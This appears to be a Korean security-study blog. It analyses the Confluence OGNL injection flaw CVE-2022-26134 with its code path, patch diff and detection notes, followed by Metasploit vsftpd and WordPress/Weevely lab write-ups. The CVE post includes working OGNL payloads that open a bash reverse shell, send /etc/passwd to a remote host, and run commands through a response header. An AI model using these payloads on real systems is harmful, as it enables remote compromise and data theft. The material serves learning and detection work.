at co m.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51) 
at co m.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) 
at co m.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) 
at co m.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115) 
at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)

  > 특히 CVE-2022-26134 취약점이 시도될 경우, 아래의 과정을 거쳐 URI내 OGNL 표현식이 삽입되는 것으로 확인됨.

  >TextParseUtil.class에서  OgnlValueStack.findValue를 호출.

public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            }
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        }
        if (previous < expression.length())
            sb.append(expression.substring(previous));
        return sb.toString();
    }
}
 
  > ActionChainResult.class에서 this.namespace가 포함된 TextParseUtil.translateVariables를 호출하여 제공된 표현식으로 변환.

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace();
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

  > namespace는 요청된 URI을 처리하는  com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath 에 의하여 생성됨.

public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}
  > 요약 정리
  1).  요청 URI내 포함된 OGNL 표현식이 com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath: 의 함수에 의하여 namespace로 생성되며
  2).  생성된 namespace는 검증과정 없이 TextParseUtil.translateVariables에서 ActionChainResult.execute로 전달됨.
  3).  이후 TextParseUtil.class에서  OgnlValueStack.findValue를 호출하여 URI내 포함된 OGNL 공격 구문이 실행되는 것으로 확인.


> 패치 변경 점

  > 기존의 TextParseUtil.translateVariables에서 ActionChainResult.execute로 전달되는 과정을 삭제
  패치 전

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace();
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

  패치 후

public void execute(ActionInvocation invocation) throws Exception {
  if (this.namespace == null)
    this.namespace = invocation.getProxy().getNamespace();
  String finalNamespace = this.namespace;
  String finalActionName = this.actionName;

  > xwork,jar내 신규 클라스를 추가하여 표현식에 대한 검증 과정을 추가함.
  추가 코드:

public Object findValue(String expr) {
  try {
    if (expr == null)
      return null;
    if (!this.safeExpressionUtil.isSafeExpression(expr))
      return null;
    if (this.overrides != null && this.overrides.containsKey(expr))

  
> PoC


PoC
1 ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}
2 ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}
3 ${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Cmd-Response",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("var d='';var i = java.lang.Runtime.getRuntime().exec('whoami').getInputStream(); while(i.available())d+=String.fromCharCode(i.read());d"))}/
4 ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
  

  응답 값 (응답 값내 X-Cmd-Response 존재 여부 확인 필요)

< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654538600571
< Set-Cookie: JSESSIONID=902E8BB49E50DDF8C600DC43F1C573D2; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence
< Location: /login.action?os_destination=%2F%24%7BClass.forName%28%22co m.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var+d%3D%27%27%3Bvar+i+%3D+java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B+while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D%2Findex.action&permissionViolation=true 
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Mon, 06 Jun 2022 18:03:20 GMT


> 결론 

1). 분석의 경우 기존 생성하여 사용 중인 "Confluence 취약점을 이용한 원격코드 실행 시도 탐지" 템플릿을 사용하여 분석.
2). 분석 과정에서 URI에 시도된 원격 코드 ex) bash shell, 시스템 정보 조회 등 에 대한 공격 성공 여부 확인 필요. 
3). PoC 4번의 경우, "SERVER-APACHE Apache Struts OGNL getRuntime.exec static method access attempt" 으로 탐지되고 있어 분석 시 주의 필요.


> Reference
https://github.com/h3v0x/CVE-2022-26134
https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

반응형

'공부 > 보안' 카테고리의 다른 글

Rookies 지원과정  (0) 2023.04.25
[보안] 보안기사 정리2  (0) 2023.04.13
[보안] Metasploit 실습  (0) 2023.04.09
[보안] Docker취약점 분석 실습  (0) 2023.04.08
[보안] Bandit  (0) 2023.04.06
반응형

Metasploit
1) Metasploit famework 실행
2) IP Scan
3) Port Scan
4) Exploit
5) 확인
Metasploit실습
실습환경
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT
운영체제 : metasploitable2-Linux
Memory : 512 MB
Processors : 1
Hard Disk : 8 GB
Network : NAT

Metasploit

Moore가 Perl Script로 만든 취약점 공격 도구

칼리리눅스에서 Exploitation Tools에서 metasploit framework를 확인할 수 있다.

1) Metasploit framework 실행
metasploit framework 실행화면이다.


2) IP Scan
nmap을통해 스캔을하여 victim의 아이피인 192.168.5.131을 확인할 수 있었다.

sudo nmap -sn 192.168.5.129-140
(타겟 IP주소 확인 : 192.168.5.131)

3) Port Scan

포트스캔 방법중에 TCP scan 방법을 사용하였다.
열려져있는 여러 포트들을 확인할 수 있었다.

sudo nmap -sT 192.168.5.131  

21번 포트는 FTP서비스를 실행하고 있고, vsftp 2.3.4라는 버전을 사용하고있다. 해당 버전은 Backdoor Command가 실행되는 취약점을 가지고있다

4) Exploit
Metasploit framework을 통해 Victim 서버에 expoit을 시도하였고, 성공하였다.

search vsftpd // vsftpd 취약점 존재 확인
set rhosts 192.168.5.131 // victim 타게팅
exploit

5) 확인

Exploit하여 접속되었는지 확인하기 위해서 /home/nct 디렉토리에 nct.txt 파일을 만들었다.

cd /hoem/nct //nct 디렉토리로 이동
touch nct.txt // nct.txt 생성
echo "nct is very famous">>nct.txt // nct.txt 내용 추가

Victim 서버에 접속하여 해당 파일을 확인결과 만들어진것을 확인할 수 있었다.

cd /home/nct
sudo cat nct.txt
 
반응형

'공부 > 보안' 카테고리의 다른 글

[보안] 보안기사 정리2  (0) 2023.04.13
[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Docker취약점 분석 실습  (0) 2023.04.08
[보안] Bandit  (0) 2023.04.06
[보안] AWS진단_사이드프로젝트  (0) 2023.04.05
반응형

Docker취약점 분석 실습
실습환경: Kali-Linux

  1. 실습

Victim 서버 설치

Kali를 통한 Victim서버 스캔

스캔 중 8000번 포트에 http 서비스가 올라와있어 접속해 확인해보았다.

nmap 도구를 사용해 해당 사이트의 버전을 확인 할 수 있었다.

워드프레스에 어떤 테마나 플러그인을 사용하는것까지 확인 가능하다

이후에 wpscan 툴을 통해 buruteforce공격을 진행하였다

아이디와 패스워드를 확인하였다

확인한 아이디 패스워드를 통해 관리자 페이지에 접속 할 수 있었다.

Weevely를 이용해서 백도우 파일을 만들었다

플러그인에 파일 php구문을 삽입하였다

워드프레스 시스템에 침투를 성공하였다.

 

 

반응형

'공부 > 보안' 카테고리의 다른 글

[보안] Atlasiian injection(CVE-20022-26134)  (0) 2023.04.11
[보안] Metasploit 실습  (0) 2023.04.09
[보안] Bandit  (0) 2023.04.06
[보안] AWS진단_사이드프로젝트  (0) 2023.04.05
[보안] DVWA를 통한 해킹실습  (0) 2023.04.05

+ Recent posts